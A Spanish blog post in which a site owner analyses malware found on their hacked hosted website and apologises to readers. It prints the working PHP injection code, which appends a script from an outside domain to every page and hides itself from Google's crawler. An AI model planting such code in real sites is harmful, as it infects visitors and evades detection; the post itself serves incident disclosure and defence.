Primer análisis del incidente
// gml() returns malicious javascript code -unless- the requester is
// Google. It doesn't want the bots to see the hack because
// they'll take action on it. Here is the malicious javascript code in
// unescaped form:
// <script src="http://sweepstakesandcontestsinfo.com/js.php?s=1"></script>
function gml() {
if (!stristr($_SERVER["HTTP_USER_AGENT"],"google")){
return base64_decode("PHNjcmlwdCBzcmM9Imh0dHA6Ly9zd2VlcHN0YWtlc2FuZGNvbnRlc3RzaW5mby5jb20vanMucGhwP3M9MSI+PC9zY3JpcHQ+");
}
return "";
}
}
// Ensure there is a gzdecode function. Since gzdecode is a PHP 6 function,
// we will almost always use this version. Note that this version differs
// from the PHP 6 version in that it just returns the input string if the
// string is not already gzip encoded. Thus, in PHP 6, this hack is broken
// for gzip encoded pages.
if (!function_exists('gzdecode')) {
function gzdecode($input_str) {
// Assume it is gzip encoded and set the gzinflate start position accordingly
$ascii_third_char = @ord(@substr($input_str, 3, 1));
$start_pos = 10;
$unused_var = 0;
if ($ascii_third_char & 4) {
$tmp = @unpack('v', substr($input_str, 10, 2));
$tmp = $tmp[1];
$start_pos += 2 + $tmp;
}
if($ascii_third_char & 8) {
$start_pos = @strpos($input_str, chr(0), $start_pos) + 1;
}
if($ascii_third_char & 16) {
$start_pos = @strpos($input_str, chr(0), $start_pos) + 1;
}
if($ascii_third_char & 2) {
$start_pos += 2;
}
// Now unzip the input string. If it fails, we assume the input string
// is not compressed and just return the original input string.
$retval = @gzinflate(@substr($input_str, $start_pos));
if($retval === FALSE) {
$retval = $input_str;
}
return $retval;
}
}
// This function takes the un-hacked page output and inserts
// the malicious code. It is configured by ob_start(), and is
// called with the buffered page text as input.
function mrobh($page_output) {
// We are sending the output in plain text, so be sure to change the
// content encoding to indicate that.
Header('Content-Encoding: none');
// If the output is compressed, unzip it
$hacked_output = gzdecode($page_output);
// Append the malicious code at the end of the page, or just before the
// HTML </body> tag (if one exists)
if (preg_match('/\<\/body/si', $hacked_output)) {
return preg_replace('/(\<\/body[^\>]*\>)/si', gml() . "\n" . '$1', $hacked_output);
} else {
return $hacked_output . gml();
}
}
// This statement forces output to be buffered and tells the PHP
// processor to call the mrobh() function (defined above) when
// page processing is complete.
ob_start('mrobh');
}
}
Como podéis ver, el código intenta camuflarse para no ser descubierto. Si las peticiones vienen de Google (normalmente del bot que recorre las web para indexarlas), el código malicioso no hace nada para evitar que Google catalogue a la web como maliciosa. Existen otras variantes que también hacen lo propio con el bot de Yahoo.
Aunque no he tenido tiempo para investigar qué hace el servidor web al que somos redirigidos, he buscado un poco de información sobre él:

De nuevo he de pediros perdón por las molestias causadas, aunque poco haya podido hacer ante este ataque. Es la desventaja de tener alojada la web en un servicio de hosting y no tener servidor propio, que no controlas qué es lo que se hace y además compartes servidor con todo tipo de webs/webmasters...
Sólo me queda recordaros una vez más el peligro de no controlar qué código javascript se ejecuta al navegar; con Firefox y Noscript enseguida me di cuenta que que había algo raro y pude evitar la redirección. Si usáis otros navegadores deberíais buscar una opción similar.
Un saludo a tod@s|



Comentarios (0)